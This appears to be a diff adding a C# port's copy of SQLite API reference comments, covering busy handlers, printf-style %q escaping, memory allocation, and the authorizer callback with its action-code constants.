** the sqlite3_changes() interface can be called to find the number of + ** changes in the most recently completed INSERT, UPDATE, or DELETE + ** statement within the body of the same trigger. + ** However, the number returned does not include changes + ** caused by subtriggers since those have their own context.)^ + ** + ** See also the [sqlite3_total_changes()] interface, the + ** [count_changes pragma], and the [changes() SQL function]. + ** + ** If a separate thread makes changes on the same database connection + ** while [sqlite3_changes()] is running then the value returned + ** is unpredictable and not meaningful. + */ + //SQLITE_API int sqlite3_changes(sqlite3); + + /* + ** CAPI3REF: Total Number Of Rows Modified + ** + ** ^This function returns the number of row changes caused by [INSERT], + ** [UPDATE] or [DELETE] statements since the [database connection] was opened. + ** ^(The count returned by sqlite3_total_changes() includes all changes + ** from all [CREATE TRIGGER | trigger] contexts and changes made by + ** [foreign key actions]. However, + ** the count does not include changes used to implement [REPLACE] constraints, + ** do rollbacks or ABORT processing, or [DROP TABLE] processing. The + ** count does not include rows of views that fire an [INSTEAD OF trigger], + ** though if the INSTEAD OF trigger makes changes of its own, those changes + ** are counted.)^ + ** ^The sqlite3_total_changes() function counts the changes as soon as + ** the statement that makes them is completed (when the statement handle + ** is passed to [sqlite3_reset()] or [sqlite3_finalize()]). + ** + ** See also the [sqlite3_changes()] interface, the + ** [count_changes pragma], and the [total_changes() SQL function]. + ** + ** If a separate thread makes changes on the same database connection + ** while [sqlite3_total_changes()] is running then the value + ** returned is unpredictable and not meaningful. + */ + //SQLITE_API int sqlite3_total_changes(sqlite3); + + /* + ** CAPI3REF: Interrupt A Long-Running Query + ** + ** ^This function causes any pending database operation to abort and + ** return at its earliest opportunity. This routine is typically + ** called in response to a user action such as pressing "Cancel" + ** or Ctrl-C where the user wants a long query operation to halt + ** immediately. + ** + ** ^It is safe to call this routine from a thread different from the + ** thread that is currently running the database operation. But it + ** is not safe to call this routine with a [database connection] that + ** is closed or might close before sqlite3_interrupt() returns. + ** + ** ^If an SQL operation is very nearly finished at the time when + ** sqlite3_interrupt() is called, then it might not have an opportunity + ** to be interrupted and might continue to completion. + ** + ** ^An SQL operation that is interrupted will return [SQLITE_INTERRUPT]. + ** ^If the interrupted SQL operation is an INSERT, UPDATE, or DELETE + ** that is inside an explicit transaction, then the entire transaction + ** will be rolled back automatically. + ** + ** ^The sqlite3_interrupt(D) call is in effect until all currently running + ** SQL statements on [database connection] D complete. ^Any new SQL statements + ** that are started after the sqlite3_interrupt() call and before the + ** running statements reaches zero are interrupted as if they had been + ** running prior to the sqlite3_interrupt() call. ^New SQL statements + ** that are started after the running statement count reaches zero are + ** not effected by the sqlite3_interrupt(). + ** ^A call to sqlite3_interrupt(D) that occurs when there are no running + ** SQL statements is a no-op and has no effect on SQL statements + ** that are started after the sqlite3_interrupt() call returns. + ** + ** If the database connection closes while [sqlite3_interrupt()] + ** is running then bad things will likely happen. + */ + //SQLITE_API void sqlite3_interrupt(sqlite3); + + /* + ** CAPI3REF: Determine If An SQL Statement Is Complete + ** + ** These routines are useful during command-line input to determine if the + ** currently entered text seems to form a complete SQL statement or + ** if additional input is needed before sending the text into + ** SQLite for parsing. ^These routines return 1 if the input string + ** appears to be a complete SQL statement. ^A statement is judged to be + ** complete if it ends with a semicolon token and is not a prefix of a + ** well-formed CREATE TRIGGER statement. ^Semicolons that are embedded within + ** string literals or quoted identifier names or comments are not + ** independent tokens (they are part of the token in which they are + ** embedded) and thus do not count as a statement terminator. ^Whitespace + ** and comments that follow the final semicolon are ignored. + ** + ** ^These routines return 0 if the statement is incomplete. ^If a + ** memory allocation fails, then SQLITE_NOMEM is returned. + ** + ** ^These routines do not parse the SQL statements thus + ** will not detect syntactically incorrect SQL. + ** + ** ^(If SQLite has not been initialized using [sqlite3_initialize()] prior + ** to invoking sqlite3_complete16() then sqlite3_initialize() is invoked + ** automatically by sqlite3_complete16(). If that initialization fails, + ** then the return value from sqlite3_complete16() will be non-zero + ** regardless of whether or not the input SQL is complete.)^ + ** + ** The input to [sqlite3_complete()] must be a zero-terminated + ** UTF-8 string. + ** + ** The input to [sqlite3_complete16()] must be a zero-terminated + ** UTF-16 string in native byte order. + */ + //SQLITE_API int sqlite3_complete(string sql); + //SQLITE_API int sqlite3_complete16(const void *sql); + + /* + ** CAPI3REF: Register A Callback To Handle SQLITE_BUSY Errors + ** + ** ^This routine sets a callback function that might be invoked whenever + ** an attempt is made to open a database table that another thread + ** or process has locked. + ** + ** ^If the busy callback is NULL, then [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] + ** is returned immediately upon encountering the lock. ^If the busy callback + ** is not NULL, then the callback might be invoked with two arguments. + ** + ** ^The first argument to the busy handler is a copy of the void* pointer which + ** is the third argument to sqlite3_busy_handler(). ^The second argument to + ** the busy handler callback is the number of times that the busy handler has + ** been invoked for this locking event. ^If the + ** busy callback returns 0, then no additional attempts are made to + ** access the database and [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED] is returned. + ** ^If the callback returns non-zero, then another attempt + ** is made to open the database for reading and the cycle repeats. + ** + ** The presence of a busy handler does not guarantee that it will be invoked + ** when there is lock contention. ^If SQLite determines that invoking the busy + ** handler could result in a deadlock, it will go ahead and return [SQLITE_BUSY] + ** or [SQLITE_IOERR_BLOCKED] instead of invoking the busy handler. + ** Consider a scenario where one process is holding a read lock that + ** it is trying to promote to a reserved lock and + ** a second process is holding a reserved lock that it is trying + ** to promote to an exclusive lock. The first process cannot proceed + ** because it is blocked by the second and the second process cannot + ** proceed because it is blocked by the first. If both processes + ** invoke the busy handlers, neither will make any progress. Therefore, + ** SQLite returns [SQLITE_BUSY] for the first process, hoping that this + ** will induce the first process to release its read lock and allow + ** the second process to proceed. + ** + ** ^The default busy callback is NULL. + ** + ** ^The [SQLITE_BUSY] error is converted to [SQLITE_IOERR_BLOCKED] + ** when SQLite is in the middle of a large transaction where all the + ** changes will not fit into the in-memory cache. SQLite will + ** already hold a RESERVED lock on the database file, but it needs + ** to promote this lock to EXCLUSIVE so that it can spill cache + ** pages into the database file without harm to concurrent + ** readers. ^If it is unable to promote the lock, then the in-memory + ** cache will be left in an inconsistent state and so the error + ** code is promoted from the relatively benign [SQLITE_BUSY] to + ** the more severe [SQLITE_IOERR_BLOCKED]. ^This error code promotion + ** forces an automatic rollback of the changes. See the + ** + ** CorruptionFollowingBusyError wiki page for a discussion of why + ** this is important. + ** + ** ^(There can only be a single busy handler defined for each + ** [database connection]. Setting a new busy handler clears any + ** previously set handler.)^ ^Note that calling [sqlite3_busy_timeout()] + ** will also set or clear the busy handler. + ** + ** The busy callback should not take any actions which modify the + ** database connection that invoked the busy handler. Any such actions + ** result in undefined behavior. + ** + ** A busy handler must not close the database connection + ** or [prepared statement] that invoked the busy handler. + */ + //SQLITE_API int sqlite3_busy_handler(sqlite3*, int()(void*,int), void); + + /* + ** CAPI3REF: Set A Busy Timeout + ** + ** ^This routine sets a [sqlite3_busy_handler | busy handler] that sleeps + ** for a specified amount of time when a table is locked. ^The handler + ** will sleep multiple times until at least "ms" milliseconds of sleeping + ** have accumulated. ^After at least "ms" milliseconds of sleeping, + ** the handler returns 0 which causes [sqlite3_step()] to return + ** [SQLITE_BUSY] or [SQLITE_IOERR_BLOCKED]. + ** + ** ^Calling this routine with an argument less than or equal to zero + ** turns off all busy handlers. + ** + ** ^(There can only be a single busy handler for a particular + ** [database connection] any any given moment. If another busy handler + ** was defined (using [sqlite3_busy_handler()]) prior to calling + ** this routine, that other busy handler is cleared.)^ + */ + //SQLITE_API int sqlite3_busy_timeout(sqlite3*, int ms); + + /* + ** CAPI3REF: Convenience Routines For Running Queries + ** + ** This is a legacy interface that is preserved for backwards compatibility. + ** Use of this interface is not recommended. + ** + ** Definition: A result table is memory data structure created by the + ** [sqlite3_get_table()] interface. A result table records the + ** complete query results from one or more queries. + ** + ** The table conceptually has a number of rows and columns. But + ** these numbers are not part of the result table itself. These + ** numbers are obtained separately. Let N be the number of rows + ** and M be the number of columns. + ** + ** A result table is an array of pointers to zero-terminated UTF-8 strings. + ** There are (N+1)*M elements in the array. The first M pointers point + ** to zero-terminated strings that contain the names of the columns. + ** The remaining entries all point to query results. NULL values result + ** in NULL pointers. All other values are in their UTF-8 zero-terminated + ** string representation as returned by [sqlite3_column_text()]. + ** + ** A result table might consist of one or more memory allocations. + ** It is not safe to pass a result table directly to [sqlite3_free()]. + ** A result table should be deallocated using [sqlite3_free_table()]. + ** + ** ^(As an example of the result table format, suppose a query result + ** is as follows: + ** + **
+    **        Name        | Age
+    **        -----------------------
+    **        Alice       | 43
+    **        Bob         | 28
+    **        Cindy       | 21
+    ** 
+ ** + ** There are two column (M==2) and three rows (N==3). Thus the + ** result table has 8 entries. Suppose the result table is stored + ** in an array names azResult. Then azResult holds this content: + ** + **
+    **        azResult[0] = "Name";
+    **        azResult[1] = "Age";
+    **        azResult[2] = "Alice";
+    **        azResult[3] = "43";
+    **        azResult[4] = "Bob";
+    **        azResult[5] = "28";
+    **        azResult[6] = "Cindy";
+    **        azResult[7] = "21";
+    ** 
)^ + ** + ** ^The sqlite3_get_table() function evaluates one or more + ** semicolon-separated SQL statements in the zero-terminated UTF-8 + ** string of its 2nd parameter and returns a result table to the + ** pointer given in its 3rd parameter. + ** + ** After the application has finished with the result from sqlite3_get_table(), + ** it must pass the result table pointer to sqlite3_free_table() in order to + ** release the memory that was malloced. Because of the way the + ** [sqlite3_malloc()] happens within sqlite3_get_table(), the calling + ** function must not try to call [sqlite3_free()] directly. Only + ** [sqlite3_free_table()] is able to release the memory properly and safely. + ** + ** The sqlite3_get_table() interface is implemented as a wrapper around + ** [sqlite3_exec()]. The sqlite3_get_table() routine does not have access + ** to any internal data structures of SQLite. It uses only the public + ** interface defined here. As a consequence, errors that occur in the + ** wrapper layer outside of the internal [sqlite3_exec()] call are not + ** reflected in subsequent calls to [sqlite3_errcode()] or + ** [sqlite3_errmsg()]. + */ + //SQLITE_API int sqlite3_get_table( + // sqlite3 db, /* An open database */ + // string zSql, /* SQL to be evaluated */ + // char ***pazResult, /* Results of the query */ + // int *pnRow, /* Number of result rows written here */ + // int *pnColumn, /* Number of result columns written here */ + // char **pzErrmsg /* Error msg written here */ + //); + //SQLITE_API void sqlite3_free_table(char **result); + + /* + ** CAPI3REF: Formatted String Printing Functions + ** + ** These routines are work-alikes of the "printf()" family of functions + ** from the standard C library. + ** + ** ^The sqlite3_mprintf() and sqlite3_vmprintf() routines write their + ** results into memory obtained from [sqlite3_malloc()]. + ** The strings returned by these two routines should be + ** released by [sqlite3_free()]. ^Both routines return a + ** NULL pointer if [sqlite3_malloc()] is unable to allocate enough + ** memory to hold the resulting string. + ** + ** ^(The sqlite3_snprintf() routine is similar to "snprintf()" from + ** the standard C library. The result is written into the + ** buffer supplied as the second parameter whose size is given by + ** the first parameter. Note that the order of the + ** first two parameters is reversed from snprintf().)^ This is an + ** historical accident that cannot be fixed without breaking + ** backwards compatibility. ^(Note also that sqlite3_snprintf() + ** returns a pointer to its buffer instead of the number of + ** characters actually written into the buffer.)^ We admit that + ** the number of characters written would be a more useful return + ** value but we cannot change the implementation of sqlite3_snprintf() + ** now without breaking compatibility. + ** + ** ^As long as the buffer size is greater than zero, sqlite3_snprintf() + ** guarantees that the buffer is always zero-terminated. ^The first + ** parameter "n" is the total size of the buffer, including space for + ** the zero terminator. So the longest string that can be completely + ** written will be n-1 characters. + ** + ** ^The sqlite3_vsnprintf() routine is a varargs version of sqlite3_snprintf(). + ** + ** These routines all implement some additional formatting + ** options that are useful for constructing SQL statements. + ** All of the usual printf() formatting options apply. In addition, there + ** is are "%q", "%Q", and "%z" options. + ** + ** ^(The %q option works like %s in that it substitutes a null-terminated + ** string from the argument list. But %q also doubles every '\'' character. + ** %q is designed for use inside a string literal.)^ By doubling each '\'' + ** character it escapes that character and allows it to be inserted into + ** the string. + ** + ** For example, assume the string variable zText contains text as follows: + ** + **
+    **  string zText = "It's a happy day!";
+    ** 
+ ** + ** One can use this text in an SQL statement as follows: + ** + **
+    **  string zSQL = sqlite3_mprintf("INSERT INTO table VALUES('%q')", zText);
+    **  sqlite3_exec(db, zSQL, 0, 0, 0);
+    **  sqlite3_free(zSQL);
+    ** 
+ ** + ** Because the %q format string is used, the '\'' character in zText + ** is escaped and the SQL generated is as follows: + ** + **
+    **  INSERT INTO table1 VALUES('It''s a happy day!')
+    ** 
+ ** + ** This is correct. Had we used %s instead of %q, the generated SQL + ** would have looked like this: + ** + **
+    **  INSERT INTO table1 VALUES('It's a happy day!');
+    ** 
+ ** + ** This second example is an SQL syntax error. As a general rule you should + ** always use %q instead of %s when inserting text into a string literal. + ** + ** ^(The %Q option works like %q except it also adds single quotes around + ** the outside of the total string. Additionally, if the parameter in the + ** argument list is a NULL pointer, %Q substitutes the text "NULL" (without + ** single quotes).)^ So, for example, one could say: + ** + **
+    **  string zSQL = sqlite3_mprintf("INSERT INTO table VALUES(%Q)", zText);
+    **  sqlite3_exec(db, zSQL, 0, 0, 0);
+    **  sqlite3_free(zSQL);
+    ** 
+ ** + ** The code above will render a correct SQL statement in the zSQL + ** variable even if the zText variable is a NULL pointer. + ** + ** ^(The "%z" formatting option works like "%s" but with the + ** addition that after the string has been read and copied into + ** the result, [sqlite3_free()] is called on the input string.)^ + */ + //SQLITE_API char *sqlite3_mprintf(const char*,...); + //SQLITE_API char *sqlite3_vmprintf(const char*, va_list); + //SQLITE_API char *sqlite3_snprintf(int,char*,const char*, ...); + //SQLITE_API char *sqlite3_vsnprintf(int,char*,const char*, va_list); + + + /* + ** CAPI3REF: Memory Allocation Subsystem + ** + ** The SQLite core uses these three routines for all of its own + ** internal memory allocation needs. "Core" in the previous sentence + ** does not include operating-system specific VFS implementation. The + ** Windows VFS uses native malloc() and free() for some operations. + ** + ** ^The sqlite3_malloc() routine returns a pointer to a block + ** of memory at least N bytes in length, where N is the parameter. + ** ^If sqlite3_malloc() is unable to obtain sufficient free + ** memory, it returns a NULL pointer. ^If the parameter N to + ** sqlite3_malloc() is zero or negative then sqlite3_malloc() returns + ** a NULL pointer. + ** + ** ^Calling sqlite3_free() with a pointer previously returned + ** by sqlite3_malloc() or sqlite3_realloc() releases that memory so + ** that it might be reused. ^The sqlite3_free() routine is + ** a no-op if is called with a NULL pointer. Passing a NULL pointer + ** to sqlite3_free() is harmless. After being freed, memory + ** should neither be read nor written. Even reading previously freed + ** memory might result in a segmentation fault or other severe error. + ** Memory corruption, a segmentation fault, or other severe error + ** might result if sqlite3_free() is called with a non-NULL pointer that + ** was not obtained from sqlite3_malloc() or sqlite3_realloc(). + ** + ** ^(The sqlite3_realloc() interface attempts to resize a + ** prior memory allocation to be at least N bytes, where N is the + ** second parameter. The memory allocation to be resized is the first + ** parameter.)^ ^ If the first parameter to sqlite3_realloc() + ** is a NULL pointer then its behavior is identical to calling + ** sqlite3_malloc(N) where N is the second parameter to sqlite3_realloc(). + ** ^If the second parameter to sqlite3_realloc() is zero or + ** negative then the behavior is exactly the same as calling + ** sqlite3_free(P) where P is the first parameter to sqlite3_realloc(). + ** ^sqlite3_realloc() returns a pointer to a memory allocation + ** of at least N bytes in size or NULL if sufficient memory is unavailable. + ** ^If M is the size of the prior allocation, then min(N,M) bytes + ** of the prior allocation are copied into the beginning of buffer returned + ** by sqlite3_realloc() and the prior allocation is freed. + ** ^If sqlite3_realloc() returns NULL, then the prior allocation + ** is not freed. + ** + ** ^The memory returned by sqlite3_malloc() and sqlite3_realloc() + ** is always aligned to at least an 8 byte boundary, or to a + ** 4 byte boundary if the [SQLITE_4_BYTE_ALIGNED_MALLOC] compile-time + ** option is used. + ** + ** In SQLite version 3.5.0 and 3.5.1, it was possible to define + ** the SQLITE_OMIT_MEMORY_ALLOCATION which would cause the built-in + ** implementation of these routines to be omitted. That capability + ** is no longer provided. Only built-in memory allocators can be used. + ** + ** The Windows OS interface layer calls + ** the system malloc() and free() directly when converting + ** filenames between the UTF-8 encoding used by SQLite + ** and whatever filename encoding is used by the particular Windows + ** installation. Memory allocation errors are detected, but + ** they are reported back as [SQLITE_CANTOPEN] or + ** [SQLITE_IOERR] rather than [SQLITE_NOMEM]. + ** + ** The pointer arguments to [sqlite3_free()] and [sqlite3_realloc()] + ** must be either NULL or else pointers obtained from a prior + ** invocation of [sqlite3_malloc()] or [sqlite3_realloc()] that have + ** not yet been released. + ** + ** The application must not read or write any part of + ** a block of memory after it has been released using + ** [sqlite3_free()] or [sqlite3_realloc()]. + */ + //SQLITE_API void *sqlite3_malloc(int); + //SQLITE_API void *sqlite3_realloc(void*, int); + //SQLITE_API void sqlite3_free(void); + + /* + ** CAPI3REF: Memory Allocator Statistics + ** + ** SQLite provides these two interfaces for reporting on the status + ** of the [sqlite3_malloc()], [sqlite3_free()], and [sqlite3_realloc()] + ** routines, which form the built-in memory allocation subsystem. + ** + ** ^The [sqlite3_memory_used()] routine returns the number of bytes + ** of memory currently outstanding (malloced but not freed). + ** ^The [sqlite3_memory_highwater()] routine returns the maximum + ** value of [sqlite3_memory_used()] since the high-water mark + ** was last reset. ^The values returned by [sqlite3_memory_used()] and + ** [sqlite3_memory_highwater()] include any overhead + ** added by SQLite in its implementation of [sqlite3_malloc()], + ** but not overhead added by the any underlying system library + ** routines that [sqlite3_malloc()] may call. + ** + ** ^The memory high-water mark is reset to the current value of + ** [sqlite3_memory_used()] if and only if the parameter to + ** [sqlite3_memory_highwater()] is true. ^The value returned + ** by [sqlite3_memory_highwater(1)] is the high-water mark + ** prior to the reset. + */ + //SQLITE_API sqlite3_int64 sqlite3_memory_used(void); + //SQLITE_API sqlite3_int64 sqlite3_memory_highwater(int resetFlag); + + /* + ** CAPI3REF: Pseudo-Random Number Generator + ** + ** SQLite contains a high-quality pseudo-random number generator (PRNG) used to + ** select random [ROWID | ROWIDs] when inserting new records into a table that + ** already uses the largest possible [ROWID]. The PRNG is also used for + ** the build-in random() and randomblob() SQL functions. This interface allows + ** applications to access the same PRNG for other purposes. + ** + ** ^A call to this routine stores N bytes of randomness into buffer P. + ** + ** ^The first time this routine is invoked (either internally or by + ** the application) the PRNG is seeded using randomness obtained + ** from the xRandomness method of the default [sqlite3_vfs] object. + ** ^On all subsequent invocations, the pseudo-randomness is generated + ** internally and without recourse to the [sqlite3_vfs] xRandomness + ** method. + */ + //SQLITE_API void sqlite3_randomness(int N, object *P); + + /* + ** CAPI3REF: Compile-Time Authorization Callbacks + ** + ** ^This routine registers an authorizer callback with a particular + ** [database connection], supplied in the first argument. + ** ^The authorizer callback is invoked as SQL statements are being compiled + ** by [sqlite3_prepare()] or its variants [sqlite3_prepare_v2()], + ** [sqlite3_prepare16()] and [sqlite3_prepare16_v2()]. ^At various + ** points during the compilation process, as logic is being created + ** to perform various actions, the authorizer callback is invoked to + ** see if those actions are allowed. ^The authorizer callback should + ** return [SQLITE_OK] to allow the action, [SQLITE_IGNORE] to disallow the + ** specific action but allow the SQL statement to continue to be + ** compiled, or [SQLITE_DENY] to cause the entire SQL statement to be + ** rejected with an error. ^If the authorizer callback returns + ** any value other than [SQLITE_IGNORE], [SQLITE_OK], or [SQLITE_DENY] + ** then the [sqlite3_prepare_v2()] or equivalent call that triggered + ** the authorizer will fail with an error message. + ** + ** When the callback returns [SQLITE_OK], that means the operation + ** requested is ok. ^When the callback returns [SQLITE_DENY], the + ** [sqlite3_prepare_v2()] or equivalent call that triggered the + ** authorizer will fail with an error message explaining that + ** access is denied. + ** + ** ^The first parameter to the authorizer callback is a copy of the third + ** parameter to the sqlite3_set_authorizer() interface. ^The second parameter + ** to the callback is an integer [SQLITE_COPY | action code] that specifies + ** the particular action to be authorized. ^The third through sixth parameters + ** to the callback are zero-terminated strings that contain additional + ** details about the action to be authorized. + ** + ** ^If the action code is [SQLITE_READ] + ** and the callback returns [SQLITE_IGNORE] then the + ** [prepared statement] statement is constructed to substitute + ** a NULL value in place of the table column that would have + ** been read if [SQLITE_OK] had been returned. The [SQLITE_IGNORE] + ** return can be used to deny an untrusted user access to individual + ** columns of a table. + ** ^If the action code is [SQLITE_DELETE] and the callback returns + ** [SQLITE_IGNORE] then the [DELETE] operation proceeds but the + ** [truncate optimization] is disabled and all rows are deleted individually. + ** + ** An authorizer is used when [sqlite3_prepare | preparing] + ** SQL statements from an untrusted source, to ensure that the SQL statements + ** do not try to access data they are not allowed to see, or that they do not + ** try to execute malicious statements that damage the database. For + ** example, an application may allow a user to enter arbitrary + ** SQL queries for evaluation by a database. But the application does + ** not want the user to be able to make arbitrary changes to the + ** database. An authorizer could then be put in place while the + ** user-entered SQL is being [sqlite3_prepare | prepared] that + ** disallows everything except [SELECT] statements. + ** + ** Applications that need to process SQL from untrusted sources + ** might also consider lowering resource limits using [sqlite3_limit()] + ** and limiting database size using the [max_page_count] [PRAGMA] + ** in addition to using an authorizer. + ** + ** ^(Only a single authorizer can be in place on a database connection + ** at a time. Each call to sqlite3_set_authorizer overrides the + ** previous call.)^ ^Disable the authorizer by installing a NULL callback. + ** The authorizer is disabled by default. + ** + ** The authorizer callback must not do anything that will modify + ** the database connection that invoked the authorizer callback. + ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their + ** database connections for the meaning of "modify" in this paragraph. + ** + ** ^When [sqlite3_prepare_v2()] is used to prepare a statement, the + ** statement might be re-prepared during [sqlite3_step()] due to a + ** schema change. Hence, the application should ensure that the + ** correct authorizer callback remains in place during the [sqlite3_step()]. + ** + ** ^Note that the authorizer callback is invoked only during + ** [sqlite3_prepare()] or its variants. Authorization is not + ** performed during statement evaluation in [sqlite3_step()], unless + ** as stated in the previous paragraph, sqlite3_step() invokes + ** sqlite3_prepare_v2() to reprepare a statement after a schema change. + */ + //SQLITE_API int sqlite3_set_authorizer( + // sqlite3*, + // int (*xAuth)(void*,int,const char*,const char*,const char*,const char), + // void *pUserData + //); + + /* + ** CAPI3REF: Authorizer Return Codes + ** + ** The [sqlite3_set_authorizer | authorizer callback function] must + ** return either [SQLITE_OK] or one of these two constants in order + ** to signal SQLite whether or not the action is permitted. See the + ** [sqlite3_set_authorizer | authorizer documentation] for additional + ** information. + ** + ** Note that SQLITE_IGNORE is also used as a [SQLITE_ROLLBACK | return code] + ** from the [sqlite3_vtab_on_conflict()] interface. + */ + //#define SQLITE_DENY 1 /* Abort the SQL statement with an error */ + //#define SQLITE_IGNORE 2 /* Don't allow access, but don't generate an error */ + const int SQLITE_DENY = 1; + const int SQLITE_IGNORE = 2; + + /* + ** CAPI3REF: Authorizer Action Codes + ** + ** The [sqlite3_set_authorizer()] interface registers a callback function + ** that is invoked to authorize certain SQL statement actions. The + ** second parameter to the callback is an integer code that specifies + ** what action is being authorized. These are the integer action codes that + ** the authorizer callback may be passed. + ** + ** These action code values signify what kind of operation is to be + ** authorized. The 3rd and 4th parameters to the authorization + ** callback function will be parameters or NULL depending on which of these + ** codes is used as the second parameter. ^(The 5th parameter to the + ** authorizer callback is the name of the database ("main", "temp", + ** etc.) if applicable.)^ ^The 6th parameter to the authorizer callback + ** is the name of the inner-most trigger or view that is responsible for + ** the access attempt or NULL if this access attempt is directly from + ** top-level SQL code. + */ + /******************************************* 3rd ************ 4th ***********/ + //#define SQLITE_CREATE_INDEX 1 /* Index Name Table Name */ + //#define SQLITE_CREATE_TABLE 2 /* Table Name NULL */ + //#define SQLITE_CREATE_TEMP_INDEX 3 /* Index Name Table Name */ + //#define SQLITE_CREATE_TEMP_TABLE 4 /* Table Name NULL */ + //#define SQLITE_CREATE_TEMP_TRIGGER 5 /* Trigger Name Table Name */ + //#define SQLITE_CREATE_TEMP_VIEW 6 /* View Name NULL */ + //#define SQLITE_CREATE_TRIGGER 7 /* Trigger Name Table Name */ + //#define SQLITE_CREATE_VIEW 8 /* View Name NULL */ + //#define SQLITE_DELETE 9 /* Table Name NULL */ + //#define SQLITE_DROP_INDEX 10 /* Index Name Table Name */ + //#define SQLITE_DROP_TABLE 11 /* Table Name NULL */ + //#define SQLITE_DROP_TEMP_INDEX 12 /* Index Name Table Name */ + //#define SQLITE_DROP_TEMP_TABLE 13 /* Table Name NULL */ + //#define SQLITE_DROP_TEMP_TRIGGER 14 /* Trigger Name Table Name */ + //#define SQLITE_DROP_TEMP_VIEW 15 /* View Name NULL */ + //#define SQLITE_DROP_TRIGGER 16 /* Trigger Name Table Name */ + //#define SQLITE_DROP_VIEW 17 /* View Name NULL */ + //#define SQLITE_INSERT 18 /* Table Name NULL */ + //#define SQLITE_PRAGMA 19 /* Pragma Name 1st arg or NULL */ + //#define SQLITE_READ 20 /* Table Name Column Name */ + //#define SQLITE_SELECT 21 /* NULL NULL */ + //#define SQLITE_TRANSACTION 22 /* Operation NULL */ + //#define SQLITE_UPDATE 23 /* Table Name Column Name */ + //#define SQLITE_ATTACH 24 /* Filename NULL */ + //#define SQLITE_DETACH 25 /* Database Name NULL */ + //#define SQLITE_ALTER_TABLE 26 /* Database Name Table Name */ + //#define SQLITE_REINDEX 27 /* Index Name NULL */ + //#define SQLITE_ANALYZE 28 /* Table Name NULL */ + //#define SQLITE_CREATE_VTABLE 29 /* Table Name Module Name */ + //#define SQLITE_DROP_VTABLE 30 /* Table Name Module Name */ + //#define SQLITE_FUNCTION 31 /* NULL Function Name */ + //#define SQLITE_SAVEPOINT 32 /* Operation Savepoint Name */ + //#define SQLITE_COPY 0 /* No longer used */ + const int SQLITE_CREATE_INDEX = 1; + const int SQLITE_CREATE_TABLE = 2; + const int SQLITE_CREATE_TEMP_INDEX = 3; + const int SQLITE_CREATE_TEMP_TABLE = 4; + const int SQLITE_CREATE_TEMP_TRIGGER = 5; + const int SQLITE_CREATE_TEMP_VIEW = 6; + const int SQLITE_CREATE_TRIGGER = 7; + const int SQLITE_CREATE_VIEW = 8; + const int SQLITE_DELETE = 9; + const int SQLITE_DROP_INDEX = 10; + const int SQLITE_DROP_TABLE = 11; + const int SQLITE_DROP_TEMP_INDEX = 12; + const int SQLITE_DROP_TEMP_TABLE = 13; + const int SQLITE_DROP_TEMP_TRIGGER = 14; + const int SQLITE_DROP_TEMP_VIEW = 15; + const int SQLITE_DROP_TRIGGER = 16; + const int SQLITE_DROP_VIEW = 17; + const int SQLITE_INSERT = 18; + const int SQLITE_PRAGMA = 19; + const int SQLITE_READ = 20; + const int SQLITE_SELECT = 21; + const int SQLITE_TRANSACTION = 22; + const int SQLITE_UPDATE = 23; + const int SQLITE_ATTACH = 24; + const int SQLITE_DETACH = 25; + const int SQLITE_ALTER_TABLE = 26; + const int SQLITE_REINDEX = 27; + const int SQLITE_ANALYZE = 28; + const int SQLITE_CREATE_VTABLE = 29; + const int SQLITE_DROP_VTABLE = 30; + const int SQLITE_FUNCTION = 31; + const int SQLITE_SAVEPOINT = 32; + const int SQLITE_COPY = 0; + + /* + ** CAPI3REF: Tracing And Profiling Functions + ** + ** These routines register callback functions that can be used for + ** tracing and profiling the execution of SQL statements. + ** + ** ^The callback function registered by sqlite3_trace() is invoked at + ** various times when an SQL statement is being run by [sqlite3_step()]. + ** ^The sqlite3_trace() callback is invoked with a UTF-8 rendering of the + ** SQL statement text as the statement first begins executing. + ** ^(Additional sqlite3_trace() callbacks might occur + ** as each triggered subprogram is entered. The callbacks for triggers + ** contain a UTF-8 SQL comment that identifies the trigger.)^ + ** + ** ^The callback function registered by sqlite3_profile() is invoked + ** as each SQL statement finishes. ^The profile callback contains + ** the original statement text and an estimate of wall-clock time + ** of how long that statement took to run. ^The profile callback + ** time is in units of nanoseconds, however the current implementation + ** is only capable of millisecond resolution so the six least significant + ** digits in the time are meaningless. Future versions of SQLite + ** might provide greater resolution on the profiler callback. The + ** sqlite3_profile() function is considered experimental and is + ** subject to change in future versions of SQLite. + */ + //SQLITE_API void *sqlite3_trace(sqlite3*, void(*xTrace)(void*,const char), void); + //SQLITE_API SQLITE_EXPERIMENTAL void *sqlite3_profile(sqlite3*, + // void(*xProfile)(void*,const char*,sqlite3_uint64), void); + + /* + ** CAPI3REF: Query Progress Callbacks + ** + ** ^The sqlite3_progress_handler(D,N,X,P) interface causes the callback + ** function X to be invoked periodically during long running calls to + ** [sqlite3_exec()], [sqlite3_step()] and [sqlite3_get_table()] for + ** database connection D. An example use for this + ** interface is to keep a GUI updated during a large query. + ** + ** ^The parameter P is passed through as the only parameter to the + ** callback function X. ^The parameter N is the number of + ** [virtual machine instructions] that are evaluated between successive + ** invocations of the callback X. + ** + ** ^Only a single progress handler may be defined at one time per + ** [database connection]; setting a new progress handler cancels the + ** old one. ^Setting parameter X to NULL disables the progress handler. + ** ^The progress handler is also disabled by setting N to a value less + ** than 1. + ** + ** ^If the progress callback returns non-zero, the operation is + ** interrupted. This feature can be used to implement a + ** "Cancel" button on a GUI progress dialog box. + ** + ** The progress handler callback must not do anything that will modify + ** the database connection that invoked the progress handler. + ** Note that [sqlite3_prepare_v2()] and [sqlite3_step()] both modify their + ** database connections for the meaning of "modify" in this paragraph. + ** + */ + //SQLITE_API void sqlite3_progress_handler(sqlite3*, int, int()(void), void); + + /* + ** CAPI3REF: Opening A New Database Connection + ** + ** ^These routines open an SQLite database file as specified by the + ** filename argument. ^The filename argument is interpreted as UTF-8 for + ** sqlite3_open() and sqlite3_open_v2() and as UTF-16 in the native byte + ** order for sqlite3_open16(). ^(A [database connection] handle is usually + ** returned in *ppDb, even if an error occurs. The only exception is that + ** if SQLite is unable to allocate memory to hold the [sqlite3] object, + ** a NULL will be written into *ppDb instead of a pointer to the [sqlite3] + ** object.)^ ^(If the database is opened (and/or created) successfully, then + ** [SQLITE_OK] is returned. Otherwise an [error code] is returned.)^ ^The + ** [sqlite3_errmsg()] or [sqlite3_errmsg16()] routines can be used to obtain + ** an English language description of the error following a failure of any + ** of the sqlite3_open() routines. + ** + ** ^The default encoding for the database will be UTF-8 if + ** sqlite3_open() or sqlite3_open_v2() is called and + ** UTF-16 in the native byte order if sqlite3_open16() is used. + ** 